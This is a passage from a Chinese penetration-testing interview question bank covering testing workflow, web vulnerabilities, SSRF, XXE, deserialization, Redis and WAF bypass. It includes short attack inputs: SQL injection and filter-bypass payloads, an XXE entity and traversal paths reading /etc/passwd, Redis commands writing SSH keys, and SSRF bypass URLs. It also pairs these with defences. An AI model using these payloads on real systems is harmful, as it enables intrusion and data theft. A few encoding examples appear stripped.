

渗透测试

常见面试题汇总及解析

2026年7月 精选90题

覆盖：渗透测试流程 / Web安全 / 内网渗透 / 权限提升 / 安全工具

每道题均含：专业解析 + 难度说明

整理日期：2026年07月07日

本资料仅供安全学习参考，请勿用于非法用途

目 录

- 一、渗透测试基础与流程（共12题）
- 二、Web安全漏洞（共28题）
- 三、内网渗透与后渗透（共18题）
- 四、权限提升与维持（共11题）
- 五、安全工具与技术（共11题）
- 六、综合面试题（共10题）

一、渗透测试基础与流程

1. 简述渗透测试的标准化流程（PTES框架）。

答案/解析： [易]

渗透测试标准化流程分为七个阶段：1) 前期交互：与客户明确测试范围、目标、规则和授权；2) 情报收集：被动侦察（域名、DNS、SSL证书）和主动扫描（端口、服务指纹）；3) 威胁建模：绘制攻击面地图，确定高风险资产和攻击路径优先级；4) 漏洞分析：使用自动化工具和手动验证发现漏洞；5) 漏洞利用：针对确认漏洞进行实际利用，获取初始访问权限；6) 后渗透：横向移动、权限提升、数据收集、权限维持；7) 报告输出：编写渗透测试报告，包含漏洞描述、风险评级、修复建议和复现步骤。

2. 渗透测试与漏洞扫描的区别是什么？

答案/解析： [易]

漏洞扫描是自动化过程，使用工具按照特征库批量检测已知漏洞，覆盖面广但误报率高，无法发现逻辑漏洞和未知漏洞。渗透测试是人工驱动的过程，在漏洞扫描的基础上进行深度验证和利用，能够发现业务逻辑漏洞、权限绕过等复杂问题，并评估漏洞的实际影响。简而言之：漏洞扫描告诉你“有什么漏洞”，渗透测试告诉你“漏洞能造成什么危害”。

3. 黑盒测试、白盒测试和灰盒测试的区别？

答案/解析： [易]

黑盒测试：测试人员不了解目标系统任何内部信息，完全模拟外部攻击者视角，从信息收集开始逐步深入。优点是真实性强，缺点是耗时较长。

白盒测试：测试人员拥有目标系统的完整信息，包括源代码、架构文档、网络拓扑等。优点是覆盖全面、效率高，能发现代码层面的深层次漏洞。

灰盒测试：介于两者之间，测试人员掌握部分信息（如用户账号、部分架构），结合自动化扫描和手动测试，在效率和真实性之间取得平衡。实际项目中灰盒测试最常见。

4. 渗透测试中如何进行信息收集？

答案/解析： [中]

信息收集分为被动收集和主动收集两个阶段：

被动收集（不直接接触目标）：域名/子域名（WHOIS查询、DNS枚举、crt.sh证书透明度日志）；搜索引擎（Google Hacking的site:/inurl:/filetype:语法、Shodan、FOFA、ZoomEye）；历史信息（Wayback Machine、SecurityTrails查看历史DNS记录）；社交情报（GitHub代码泄露、企业公开信息）。

主动收集（直接接触目标）：端口扫描（Nmap全端口扫描-sS -p-，识别开放服务和版本）；目录扫描（dirsearch、gobuster爆破隐藏路径）；指纹识别（Wappalyzer、whatweb识别技术栈和CMS）；漏洞扫描（Nessus、Nuclei进行初步漏洞探测）。

5. 什么是OWASP Top 10? 请列举并简述。

答案/解析: [中]

OWASP Top 10是OWASP基金会定期发布的Web应用最严重安全风险榜单, 最新版本(2021)包括: 1) 失效访问控制(越权访问、IDOR, 占比最高约41%); 2) 加密机制失效(弱加密算法、TLS配置错误); 3) 注入漏洞(SQL注入、NoSQL注入、命令注入); 4) 不安全设计(架构层面安全缺陷); 5) 安全配置错误(默认密码、云存储桶公开、目录列出); 6) 易受攻击的组件(含已知漏洞的第三方库如Log4j2); 7) 身份认证失效(弱密码策略、会话管理缺陷); 8) 软件和数据完整性缺陷(CI/CD管道安全、恶意包投毒); 9) 安全日志与监控不足; 10) 服务端请求伪造(SSRF, 云原生环境下风险显著增加)。

6. 渗透测试报告中应包含哪些核心内容?

答案/解析: [易]

一份专业的渗透测试报告应包含: 1) 执行摘要: 面向管理层的概述, 包括测试范围、主要发现和高风险漏洞汇总; 2) 测试范围与方法: 目标清单、测试时间窗口、使用的方法论和工具; 3) 漏洞详情: 每个漏洞包含编号、名称、风险等级(CVSS评分)、受影响资产、漏洞描述、复现步骤(附截图/PoC)、影响分析; 4) 修复建议: 针对每个漏洞给出具体可操作的修复方案和优先级排序; 5) 附录: 完整漏洞清单、工具列表、术语表。报告中所有敏感数据应做脱敏处理, PoC证据应包含完整复现链路。

7. 如何判断漏洞的严重程度? CVSS评分体系了解吗?

答案/解析: [中]

漏洞严重程度通常使用CVSS(通用漏洞评分系统)3.1版评估, 分三个维度: 基础评分衡量漏洞固有特征, 包括攻击向量(网络/邻接/本地/物理)、攻击复杂度、所需权限、用户交互、影响范围, 以及机密性/完整性/可用性影响, 分数0-10分为低(0.1-3.9)、中(4.0-6.9)、高(7.0-8.9)、严重(9.0-10.0)四个等级。时间评分考虑补丁可用性、利用代码成熟度等时间因素。环境评分根据组织特定环境调整, 考虑资产重要性和安全控制措施。实际项目中应结合基础评分和业务影响综合判断修复优先级。

8. 渗透测试的授权和合规要求有哪些?

答案/解析: [易]

渗透测试必须严格遵守法律和合规要求: 1) 书面授权: 必须获得目标系统所有者的书面授权书, 明确测试范围、时间窗口、禁止操作(如DDoS)、紧急联系人; 2) 法律依据: 遵守《网络安全法》《数据安全法》《个人信息保护法》等法律法规, 未经授权的渗透测试属于违法行为; 3) 数据保护: 测试过程中获取的敏感数据应加密存储、脱敏处理, 测试结束后销毁; 4) 操作边界: 不得超出授权范围测试, 不得对生产系统造成破坏性影响; 5) 报告保密: 测试报告属于机密文档, 需签署保密协议(NDA), 按约定方式交付和销毁。

9. 什么是红队测试? 与普通渗透测试有何区别?

答案/解析: [中]

红队测试是更全面的安全评估方式, 模拟真实攻击者的完整攻击链, 包括社会工程学、物理安全、无线安全等多种攻击向量, 目标是检验组织的整体检测和响应能力。区别: 范围上渗透测试通常限定在Web应用或网络层面, 红队覆盖全攻击面含社工钓鱼、物理闯入等; 目标上渗透测试重点发现漏洞, 红队重点检验蓝队检测响应能力; 时间上渗透测试通常1-2周, 红队持续数周至数月; 隐蔽性上渗透测试通常通知防守方, 红队不通知以模拟真实攻击; 输

出上渗透测试出漏洞报告，红队出攻击叙事和检测覆盖率差距分析。

10. 正向代理和反向代理的区别？渗透测试中如何应用？

答案/解析： [中]

正向代理位于客户端和目标服务器之间，代理客户端的请求，客户端知道目标地址通过代理转发。典型场景：内网主机通过代理访问外网。渗透测试中常用于隐藏攻击源IP、绕过IP封禁。

反向代理位于目标服务器前端，代理服务器的响应，客户端不知道真实服务器地址只与代理交互。典型场景：Nginx反向代理、CDN。渗透测试中需识别反向代理后的真实服务器IP，常用方法包括历史DNS记录、子域名扫描、SSL证书关联、FOFA/Shodan搜索。

区别核心：正向代理代理客户端（服务端不知真实客户端），反向代理代理服务端（客户端不知真实服务端）。

11. 正向Shell和反向Shell的区别？

答案/解析： [中]

正向Shell (Bind

Shell)：目标机器监听某端口，攻击者主动连接获取Shell。适用于目标有公网IP或攻击者能直接访问目标端口的场景。缺点是开放新端口容易被防火墙拦截和检测。

反向Shell (Reverse

Shell)：攻击者监听某端口，目标机器主动连接攻击者。适用于目标在内网、防火墙仅允许出站流量的场景。由于利用出站连接，通常比正向Shell更容易绕过防火墙。

实际渗透中反向Shell使用更频繁，因为多数内网环境允许出站HTTP/HTTPS流量。常见工具：Metasploit的reverse_tcp payload、Netcat反向连接。

12. 常见的关键端口及对应服务有哪些？渗透测试中关注什么？

答案/解析： [中]

21 FTP (匿名访问、弱口令、明文传输)； 22 SSH (弱口令爆破、密钥泄露)； 23 Telnet (明文传输凭据)； 53 DNS (区域传送、DNS隧道)； 80/443 HTTP/HTTPS (Web漏洞)； 135/139/445 SMB/RPC (永恒之蓝MS17-010、空会话)； 1433 MSSQL (弱口令、xp_cmdshell)； 3306 MySQL (弱口令、UDF提权)； 3389 RDP (弱口令、BlueKeep CVE-2019-0708)； 5985 WinRM (远程命令执行)； 6379 Redis (未授权访问、写SSH公钥/计划任务)； 7001 WebLogic (反序列化、SSRF)； 8080 Tomcat/Jenkins (弱口令后台、war部署)； 27017 MongoDB (未授权访问)； 9200 Elasticsearch (未授权访问、数据泄露)。每个端口对应不同的利用方式和防御措施。

二、Web安全漏洞

13. SQL注入的原理是什么？有哪些类型？

答案/解析： [易]

SQL注入原理：Web应用程序将用户输入直接拼接到SQL查询语句中，未经充分的参数化处理或过滤，导致攻击者可以通过构造恶意输入改变SQL语句的语义，从而执行非授权的数据库操作。

主要类型：1) 报错注入：利用数据库报错信息回显数据（floor、extractvalue、updatexml）；2)

布尔盲注：页面根据查询条件真假返回不同内容，逐字符推断数据；3)

时间盲注：页面无差异，通过sleep等函数造成响应延迟判断条件真假；4) UNION注入：利用UNION SELECT合并查询结果直接回显；5)

堆叠注入：利用分号执行多条SQL语句；6)

宽字节注入：利用GBK编码吞掉转义反斜杠；7) 二次注入：恶意数据先存入数据库，后续查询时被拼接触发。

14. 如何判断一个注入点？数字型和字符型注入的区别？

答案/解析： [中]

判断注入点的方法：1)

报错探测：在参数后添加单引号、双引号、括号等特殊字符，观察是否返回数据库错误信息；2)

布尔测试：输入and 1=1和and 1=2，观察页面内容是否变化；3) 时间测试：输入and sleep(5)，观察响应是否延迟；4) UNION测试：通过ORDER BY确定列数，再使用UNION SELECT验证。

数字型与字符型的区别：数字型参数不需要引号包裹（SELECT * FROM users WHERE id=1），可直接拼接and 1=1；字符型参数被引号包裹（WHERE id='1'），需要先闭合引号（输入1' and '1'='1'）。判断方法：输入1 and 1=1，页面正常则为数字型，异常则需考虑字符型闭合方式。

15. SQL注入的防御措施有哪些？参数化查询为什么能防注入？

答案/解析： [易]

防御措施：1) 参数化查询/预编译语句（最有效）：使用PreparedStatement，将SQL语句结构和数据分离；2)

输入验证：白名单过滤，限制输入类型和长度；3)

最小权限原则：数据库账户仅授予必要权限，禁用FILE、EXECUTE等高危权限；4)

WAF防护：部署Web应用防火墙拦截恶意SQL特征；5) 关闭错误回显：生产环境关闭数据库详细错误信息；6)

定期安全审计和代码扫描。

参数化查询能防注入的原因：预编译时数据库先解析SQL语句结构（模板），再绑定参数值。参数值仅作为数据处理，不会被解析为SQL语法。即使用户输入包含'

OR

1=1--，数据库也将其视为普通字符串而非SQL指令，从根源上杜绝注入。

16. 宽字节注入的原理是什么？如何防御？

答案/解析： [中]

宽字节注入原理：当数据库使用GBK等多字节编码，且应用层使用addslashes()对单引号转义（在单引号前加反斜杠0x5c）时，攻击者在单引号前添加特殊字节（如0xdf），使0xdf和0x5c在GBK编码下组合成一个合法的繁体汉字（如“運”），从而“吞掉”转义反斜杠，使单引号逃逸。

攻击过程：输入%df' → addslashes转义为%df%5c' → GBK解码为“運'” → 单引号成功逃逸。

防御方案：1) 统一使用UTF-8编码，UTF-8中不会出现多字节吞并问题；2)

使用mysql_real_escape_string()而非addslashes()，该函数会考虑数据库连接的字符集；3)

使用PDO预编译语句从根本上避免拼接SQL；4) 设置SET NAMES 'utf8'并确保连接编码与应用编码一致。

17. SQL注入中如何绕过单引号过滤？

答案/解析： [中]

当WAF或应用过滤了单引号时，可通过以下方式绕过：1)

数字型注入：如果参数是数字型，本身不需要引号，直接拼接注入语句；2)

十六进制编码：将字符串转为十六进制，如admin转为0x61646D696E，避免使用引号；3)

函数拼接：使用CONCAT(char(97),char(100),char(109),char(105),char(110))拼接出admin；4)

注释符混淆：使用/*!...*/内联注释绕过关键词过滤，如/*!50000UNION*/ /*!50000SELECT*/；5)

大小写混合：UnIoN SeLeCt绕过简单的关键词黑名单；6)

等价函数替换：如mid()替代substr(), user()替代current_user(); 7)

编码绕过：URL双重编码、Unicode编码等。

18. 什么是时间盲注？如何在无回显的情况下提取数据？

答案/解析： [难]

时间盲注是指页面没有任何错误回显和数据回显，无法通过内容差异判断注入结果，只能通过构造条件性延迟函数（如IF(condition, sleep(5), 0)），根据响应时间长短来判断条件真假。

数据提取流程（逐字符推断）：1) 确定数据库名长度：IF(LENGTH(database())=N, sleep(3), 0)，逐步尝试N值；2) 逐字符提取：IF(ASCII(SUBSTR(database(), 1, 1))=97, sleep(3), 0)，通过二分法缩小ASCII码范围；3) 重复上述过程提取表名、列名和数据。

优化技巧：使用二分查找替代逐个比对（IF(ASCII(SUBSTR(database(), 1, 1))>100, sleep(3), 0)），大幅减少请求次数。也可使用DNSLog外带数据，通过DNS解析记录获取数据，效率更高。

19. XSS跨站脚本的三种类型及区别？

答案/解析： [易]

XSS分为三种类型：1)

反射型XSS：恶意脚本来自用户请求参数，服务器将其直接反射到响应页面中。攻击者构造恶意链接诱使受害者点击，脚本在受害者浏览器中执行。特点是需用户点击触发、一次性的。常见于搜索框、错误页面。

2)

存储型XSS：恶意脚本被永久存储在服务器端（如数据库中的留言、评论），其他用户访问时自动触发。特点是持久化的、危害最大，无需用户点击特定链接。常见于留言板、个人资料、论坛帖子。

3)

DOM型XSS：恶意脚本的注入和执行完全在客户端JavaScript中完成，不经过服务器。当页面JS不安全地使用document.location、document.URL等可控数据修改DOM时触发。特点是服务器端代码无漏洞，纯客户端问题，WAF通常无法检测。

区别核心：反射型经服务器反射（非持久）、存储型经服务器存储（持久）、DOM型纯客户端（不经过服务器）。

20. XSS的防御措施有哪些？CSP如何工作？

答案/解析： [中]

XSS防御措施：1)

输出编码：根据输出上下文（HTML、JavaScript、URL、CSS）对特殊字符进行实体编码，HTML上下文中<转为<

、>转为>等；2) HttpOnly

Cookie：设置Cookie的HttpOnly属性，防止JavaScript通过document.cookie读取会话Cookie；3)

CSP（内容安全策略）：通过HTTP头Content-Security-Policy限制资源加载来源，禁止内联脚本执行；4)

输入验证：白名单过滤用户输入，限制允许的字符和长度；5)

框架防护：现代前端框架（React、Vue）默认对变量输出做HTML转义。

CSP工作原理：通过白名单机制告诉浏览器哪些来源的资源可以加载和执行。例如Content-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com仅允许加载同源和cdn.example.com的脚本，禁止内联脚本和eval()，从而即使存在XSS漏洞，攻击者的恶意脚本也无法执行。

21. CSRF与XSS的区别？CSRF如何防御？

答案/解析： [中]

CSRF与XSS的区别：XSS利用用户对网站的信任，在网站中注入恶意脚本在用户浏览器执行；CSRF利用网站对用户的信任，伪装成已登录用户发送伪造请求。XSS的目标是执行客户端脚本窃取数据；CSRF的目标是在Web应用中执行操作（如转账、改密码）。

CSRF防御措施：1) Anti-CSRF

Token：在表单中嵌入服务端生成的随机Token，提交时验证有效性。Token应足够随机且与用户会话绑定；2)

SameSite Cookie属性：设置Cookie的SameSite=Strict或Lax，限制跨站请求携带Cookie；3)

验证Referer/Origin：检查请求头中的Referer字段是否来自合法来源（但安全性不如Token）；4)

二次验证：敏感操作要求输入验证码或密码确认。

Token和Referer对比：Token安全性更高，因为Referer可能被某些场景绕过（HTTPS跳HTTP时不发送、Flash某些版本可伪造）。但Token需防止自身被泄露（如通过XSS获取）。

22. SSRF漏洞的原理、危害及防御方案？

答案/解析： [中]

SSRF（服务端请求伪造）原理：Web应用提供了从其他服务器获取数据的功能（如URL预览、图片代理、在线翻译），攻击者构造恶意URL使服务器向非预期目标发起请求。攻击目标是外网无法直接访问的内网系统。

危害：1) 内网端口扫描和服务指纹识别；2) 访问内网Web应用和云元数据接口（如AWS 169.254.169.254获取临时密钥）；3) 利用file://协议读取本地文件；4)

利用gopher://协议攻击内网Redis、FastCGI等服务；5) 攻击内网其他应用。

防御方案：1) 请求白名单：仅允许请求预定义的域名/IP列表；2)

禁用危险协议：仅允许http/https，禁止file://、gopher://、dict://等；3)

内网IP过滤：禁止请求内网网段；4) 统一错误信息：不返回内部服务的详细错误；5)

限制请求端口：仅允许80和443。

常见绕过方法：使用@符号（http://evil@127.0.0.1）、IP进制转换、短网址、xip.io域名、DNS Rebinding等。

23. XXE漏洞的原理是什么？有回显和无回显如何利用？

答案/解析： [难]

XXE（XML外部实体注入）原理：XML规范允许在DTD中定义外部实体，引用外部资源（文件、URL等）。当XML解析器启用外部实体解析时，攻击者可通过构造恶意XML读取服务器本地文件或发起网络请求。

有回显XXE：直接在XML中定义外部实体引用本地文件，解析结果会显示在响应中。例如定义<!ENTITY xxe SYSTEM "file:///etc/passwd">，然后在XML内容中引用&xxe;，文件内容直接出现在响应中。

无回显XXE（Blind XXE）：服务器不返回解析结果，需通过外带数据提取。利用参数实体构造数据外带通道：1) 在远程服务器放置恶意DTD文件；2) 使用php://filter读取目标文件内容并Base64编码；3)

将编码后的文件内容作为URL参数发送到攻击者服务器；4) 攻击者通过HTTP日志获取数据并解码。

防御：禁用外部实体解析，使用JSON替代XML数据交换。

24. 文件上传漏洞的原理及绕过方式?

答案/解析: [中]

文件上传漏洞原理: Web应用允许用户上传文件但未对文件类型、内容、路径做充分校验, 导致攻击者可上传WebShell从而获取服务器执行权限。

常见绕过方式: 1) 前端绕过: 禁用JavaScript或用BurpSuite修改请求, 绕过前端文件类型检查; 2)

MIME类型绕过: 修改Content-Type为image/jpeg等合法类型; 3)

文件扩展名绕过: 使用双扩展名(shell.php.jpg)、大小写(shell.PhP)、空字节(shell.php%00.jpg)、特殊扩展名(.phtml、.pht、.php5); 4) 文件头绕过: 在恶意脚本前添加图片文件头(GIF89a); 5)

.htaccess绕过: 上传.htaccess文件将图片解析为PHP执行; 6) 中间件解析漏洞: 利用IIS

6.0(shell.asp;.jpg)、Nginx(shell.jpg/x.php)、Apache(shell.php.xxx)的解析缺陷; 7)

条件竞争: 上传后删除前的时间窗口内访问执行。

防御: 白名单校验扩展名、检测文件内容(文件头)、重命名上传文件、存储到非Web目录、关闭执行权限。

25. PHP文件包含漏洞的原理? include和require的区别?

答案/解析: [中]

文件包含漏洞原理: PHP的include/require函数可以包含外部文件并执行其中的PHP代码。当包含路径由用户输入控制且未充分过滤时, 攻击者可包含恶意文件实现代码执行。

include()与require()的区别: include()文件不存在时产生警告并继续执行后续代码; require()文件不存在时产生致命错误并终止脚本执行; include_once()/require_once()与上述相同但同一文件仅包含一次。

常见利用方式: 1) 本地文件包含(LFI): ?file=../../../../etc/passwd读取系统文件; 2)

php://filter读源码: ?file=php://filter/convert.base64-encode/resource=config.php, 将PHP文件Base64编码输出而不执行; 3) php://input执行代码: POST请求体中发送PHP代码; 4)

包含日志文件: 将恶意代码写入Web访问日志(User-Agent), 再包含日志文件路径; 5)

包含/proc/self/environ: 将恶意代码写入环境变量再包含。

防御: 白名单限制可包含文件、关闭allow_url_include、设置open_basedir限制访问范围。

26. Java反序列化漏洞的原理是什么? 常见攻击链有哪些?

答案/解析: [难]

Java反序列化漏洞原理: ObjectInputStream.readObject()方法在反序列化对象时会自动调用对象的readObject()等方法。如果被反序列化的类中存在危险方法调用链(Gadget

Chain), 攻击者可构造恶意序列化数据在反序列化过程中触发任意代码执行。

常见攻击链: 1) Apache Commons Collections: 利用InvokerTransformer链调用Runtime.exec(), 是最经典的Gadget链, 包括CC1-CC7多个变种; 2)

Fastjson: autoType特性允许指定任意类进行反序列化, 结合JdbcRowSetImpl发起JNDI注入; 3)

Shiro: rememberMe Cookie使用AES加密+序列化, 密钥硬编码导致可构造恶意Cookie(Shiro-550); 4)

Log4j2(JNDI注入): 通过日志记录触发JNDI

lookup加载远程恶意类。利用工具ysoserial可生成各Gadget链的Payload。

防御: 避免反序列化不可信数据使用JSON等安全格式; 实现ObjectInputFilter白名单(JDK

9+); 移除或升级含已知Gadget链的库; 关闭Fastjson autoType、更换Shiro密钥。

27. 命令执行/代码执行漏洞的原理？PHP中常见危险函数有哪些？

答案/解析： [中]

命令执行漏洞原理：应用程序在调用系统命令时将用户输入拼接到命令字符串中，未做充分过滤，导致攻击者可通过管道符(|)、分号(;)、与(&&)等特殊字符注入额外命令。

PHP常见命令执行函数：system() 执行命令并输出结果；exec() 返回最后一行输出；passthru() 原始输出；shell_exec() /反引号(`) 返回完整输出；popen() 打开进程管道；proc_open() 更高级的进程控制。

PHP代码执行函数：eval() 执行PHP代码字符串；assert() 断言函数可执行代码；call_user_func()/call_user_func_array() 回调函数执行；create_function() 创建匿名函数（已废弃）；preg_replace() 的/e修饰符正则替换时执行代码（PHP 7+已移除）。

防御：避免调用系统命令使用语言内置库替代；必须使用时采用参数化方式（escapeshellarg()）；禁用危险函数（php.ini disable_functions）。

28. CRLF注入的原理及危害？

答案/解析： [中]

CRLF注入原理：CRLF指回车符(\r, 0x0d)和换行符(\n, 0x0a)，即HTTP协议中的换行符。当应用程序将用户输入插入HTTP响应头且未过滤CRLF字符时，攻击者可以注入额外的HTTP头或分隔响应体，导致HTTP响应拆分。

危害：1) 响应头注入：注入Set-Cookie头篡改用户Cookie，或注入Location头实现重定向；2)

HTTP响应拆分：通过注入Content-Length和两次CRLF分隔符，使一个HTTP响应变成两个，第二个响应可被用于XSS缓存投毒；3)

日志注入：在日志记录中注入CRLF伪造日志条目干扰安全审计；4)

会话固定：通过Set-Cookie设置固定会话ID。

防御：对输出到HTTP响应头的用户输入进行CRLF字符过滤，使用框架提供的安全响应头设置方法。

29. 常见的中间件解析漏洞有哪些？

答案/解析： [中]

中间件解析漏洞是指Web服务器在解析文件类型时存在缺陷导致本不应执行的脚本文件被当做脚本执行：

1) IIS 6.0: 目录解析 (shell.asp/1.jpg, asp目录下所有文件按ASP执行)；分号截断 (shell.asp;.jpg, 分号后内容被忽略按ASP执行)。

2) IIS 7.0/7.5: CGI解析 (test.jpg/.php, URL中添加/.php使jpg按PHP执行, php.cgi配置不当)。

3) Nginx: CGI解析 (upload/shell.jpg/.php, 与IIS7类似配合php-cgi配置不当)；目录穿越。

4)

Apache: 多后缀解析 (shell.php.xxx, Apache从右向左识别后缀, 遇到不认识的扩展名继续向左识别最终按PHP执行)；AddHandler配置不当。

防御：升级中间件版本、正确配置MIME类型映射、关闭不必要的CGI解析、上传文件存储到非Web目录。

30. 什么是逻辑漏洞？常见的逻辑漏洞有哪些？

答案/解析： [中]

逻辑漏洞是指业务逻辑设计缺陷导致的安全问题，不同于技术漏洞（如SQL注入、XSS），逻辑漏洞无法通过WAF或输入过滤检测，需要理解业务流程才能发现。

常见类型：1)

越权访问：水平越权（用户A可访问用户B的数据，修改ID参数查看他人订单）；垂直越权（普通用户可执行管理员功能，修改URL路径访问后台）。

2) 支付逻辑漏洞：修改商品价格或数量为负数；并发请求重复使用优惠券；跳过支付步骤直接确认订单。

- 3) 密码找回漏洞：验证码可爆破或不过期；修改返回包状态码绕过验证；邮箱/手机号参数可篡改。
- 4) 短信/邮件轰炸：无频率限制导致接口被滥用。
- 5) 条件竞争：并发请求在检查与执行之间的时间窗口内利用（如同时提现多次）。
- 防御：每个接口进行身份和权限校验、关键操作二次确认、后端校验价格和数量、接口频率限制。

31. 什么是JWT? JWT存在哪些常见安全风险?

答案/解析： [中]

JWT (JSON

Web

Token) 是由Header (算法类型).Payload (数据).Signature (签名) 三部分组成的身份认证令牌。

常见安全风险：1)

算法替换攻击：服务端使用RS256验签但JWT

Header中alg可被篡改为HS256，若服务端代码逻辑缺陷使用公钥作为HS256密钥验签，攻击者可用公钥签名伪造任

意JWT；2)

None算法绕过：将alg设为none，某些库实现不安全时跳过签名验证；3)

密钥暴力破解：HS256使用弱密钥（如secret、123456），可离线爆破；4)

密钥硬编码：密钥在源代码中硬编码，代码泄露后可被伪造；5)

敏感信息泄露：Payload部分仅Base64编码而非加密，不应存放敏感数据；6) Token不过期或过期时间过长；7)

Token吊销困难：JWT无状态特性使服务端难以主动吊销已签发的Token。

防御：使用强随机密钥、固定算法不信任Header中的alg、设置合理过期时间、实现Token黑名单机制。

32. Redis未授权访问漏洞的利用方式及防御?

答案/解析： [中]

Redis未授权访问是指Redis服务默认绑定6379端口且无密码认证，攻击者可直接连接并执行Redis命令。

常见利用方式：1) 写SSH公钥：通过config set dir /root/.ssh和config set dbfilename authorized_keys将攻击者公钥写入目标SSH授权文件实现免密登录；2)

写计划任务：将反弹Shell命令写入/var/spool/cron/root定时执行获取Shell；3)

写WebShell：如果知道Web根目录路径将PHP文件写入Web目录；4)

Redis主从复制RCE：利用Redis

4.x+的模块加载功能通过主从复制加载恶意.so模块执行任意命令。

防御措施：1) 绑定本地地址bind 127.0.0.1禁止外网访问；2) 开启密码认证requirepass设置强密码；3)

禁用危险命令rename-command CONFIG ""；4) 以非root用户运行Redis降低提权风险；5)

防火墙限制6379端口访问来源；6) 升级到最新版本使用ACL细粒度权限控制 (Redis 6+)。

33. 什么是条件竞争漏洞? 举例说明。

答案/解析： [难]

条件竞争 (Race

Condition) 漏洞是指多线程/多进程并发环境下，程序对共享资源的访问存在时序依赖，攻击者通过在检查(check)和执行(use)之间的时间窗口内并发操作，绕过安全检查。

典型案例：1)

文件上传竞争：应用先检查文件内容是否合法，再移动到上传目录，最后删除不合法文件。攻击者在上传和删除之间持续发送大量请求访问该文件触发执行，利用这个极短的时间窗口让WebShell被执行；2)

余额提现竞争：应用先检查余额是否充足再执行扣款和转账。攻击者并发送多个提现请求，所有请求同时通过余额检查（此时余额尚未被扣减），导致余额被多次提取；3)

优惠券重复使用：检查优惠券是否已使用和标记已使用之间存在窗口，并发请求可在标记前重复使用同一优惠券。

防御：数据库层面使用乐观锁（版本号）或悲观锁（SELECT...FOR

UPDATE）；使用事务确保检查和执行的原子性；引入分布式锁防止并发操作同一资源；幂等性设计。

34. WAF绕过技术有哪些？

答案/解析： [难]

WAF绕过技术从协议层、语义层和架构层三个维度展开：

协议层绕过：1) 分块传输编码Transfer-Encoding: chunked将Payload分块发送，WAF可能不重组完整请求；2) 畸形报文利用超长URL、脏字符填充混淆WAF解析；3) 协议降级HTTP/2降级为HTTP/1.1可能绕过WAF；4) 请求方法切换使用PUT、PATCH等非标准方法。

语义混淆：1) SQL注入内联注释/*!50000UNION*/、函数替换(mid替代substr)、编码绕过(0x十六进制)；2) XSS使用HTML实体编码(()、事件型Payload()；3) 大小写混合、空格替换(/**/注释替代空格)、换行符分割关键词。

架构层绕过：1) 源站直连通过历史DNS记录、子域名扫描找到WAF后的真实服务器IP；2) 边缘节点IP伪造X-Forwarded-For: 127.0.0.1；3) 冷门API路径规范化绕过；4) 网站其他不受WAF保护的子服务。

防御：WAF规则持续更新、配合RASP运行时防护、最小化暴露面。

35. 蚁剑、菜刀、冰蝎、哥斯拉等WebShell管理工具有何异同？

答案/解析： [中]

相同点：都是用于连接和管理WebShell的客户端工具，核心功能包括文件管理、命令执行、数据库操作。

区别：1)

中国菜刀(Chopper)：最早的WebShell管理工具，流量特征明显(固定请求格式和参数名)，使用eval/base64编码，容易被WAF检测。已停止更新。

2)

蚁剑(AntSword)：菜刀改进版，支持自定义编码器和解码器，流量可定制化程度高。默认使用URL编码+Base64但可配置自定义加密。插件生态丰富。跨平台开源。

3)

冰蝎(Behinder)：核心特点是流量动态加密。每次连接使用AES加密通信内容，密钥通过握手阶段协商，WAF无法通过特征匹配检测。支持Java内存马注入。3.0+支持自定义加密协议。

4)

哥斯拉(Godzilla)：类似冰蝎的加密通信设计，支持Java/PHP/.NET多种Payload类型。流量加密强度高，支持自定义加密器。提供模块化后渗透功能。

检测角度：菜刀和默认配置的蚁剑可通过流量特征检测；冰蝎和哥斯拉需要通过行为分析(长连接、固定频率请求、异常数据量)检测。

36. WebShell检测有哪些方法？

答案/解析： [中]

WebShell检测分为静态检测、动态检测和流量分析三个方向：

静态检测：1)

特征码匹配：扫描文件内容中的危险函数和特征字符串(eval、assert、system、base64_decode、gzinflate等)；2)

语法分析：解析PHP/Java语法树检测可疑的函数调用模式和变量传递链；3)

文件指纹比对：对比已知WebShell样本库的hash值；4)

信息熵分析：WebShell常使用大量编码/加密，文件内容的熵值偏高。

动态检测：1)

沙箱执行在隔离环境中执行上传文件监控是否调用危险系统函数；2)

行为监控通过Hook技术监控运行时PHP进程对system()、exec()等函数的调用；3)

日志分析Web访问日志中异常请求模式。

流量检测：1)

检测WebShell管理工具的流量特征(蚁剑URL编码、冰蝎动态加密、哥斯拉流量特征)；2)

检测长连接和异常的数据传输模式；3) 检测HTTP请求中的命令执行特征。

难点：内存马（无文件WebShell）和加密流量难以通过传统方法检测，需结合EDR和RASP技术。

37. 什么是SSRF的DNS Rebinding绕过？

答案/解析： [难]

DNS

Rebinding（DNS重绑定）是绕过SSRF防护的高级技术。当应用对URL中的域名做了安全检查（禁止内网IP），但实际请求时通过DNS解析获取IP，攻击者利用DNS解析的时间差实现绕过。

原理：1)

攻击者注册域名evil.com，设置DNS服务器返回两个A记录：第一次解析返回公网IP通过应用的安全检查；设置极短的TTL（0秒）使DNS缓存立即过期；2) 应用安全检查通过后发起实际HTTP请求时再次进行DNS解析；3) 第二次解析返回内网IP（如127.0.0.1），应用实际请求被发往内网。

利用条件：应用在检查URL和实际请求URL之间使用两次独立的DNS解析。

防御方案：1) 解析一次DNS后固定IP，后续请求直接使用IP而非再次DNS解析；2)

检查解析后的所有IP对域名返回的所有A记录都进行内网IP过滤；3) 使用DNS Pinning缓存DNS结果较长时间；4)

网络层面隔离服务器禁止访问内网网段不依赖应用层检查。

38. 什么是CORS跨域安全风险？配置注意事项？

答案/解析： [中]

CORS（跨域资源共享）是浏览器机制，允许Web应用通过HTTP头声明哪些跨域请求被允许。配置不当时导致安全风险。

安全风险：1)

Origin反射：服务端将请求的Origin直接反射到Access-Control-Allow-Origin头中且Allow-Credentials为true，则任意网站都可以携带用户Cookie发起跨域请求读取响应，等同于绕过同源策略；2)

空Origin绕过：某些应用允许空Origin通过，攻击者可构造无Origin头的请求；3)

白名单过宽：允许的域名过多或使用通配符子域名。

安全配置原则：1) 严格白名单仅允许信任的域名不反射Origin；2) 避免通配符特别是涉及认证的API；3)

最小化暴露仅对必要的API开启CORS；4) 限制方法和头部仅允许必要的HTTP方法和自定义头；5)

设置合理的缓存时间。

39. PHP的%00截断原理是什么？

答案/解析： [中]

%00截断（Null Byte Injection）原理：在C语言中字符串以空字节(0x00)作为结束标志。PHP底层使用C语言实现，当PHP的某些文件操作函数（如include、require、fopen等）遇到0x00时会将其视为字符串结尾截断后续内容。

利用场景：假设应用代码为include(\$_GET['file']

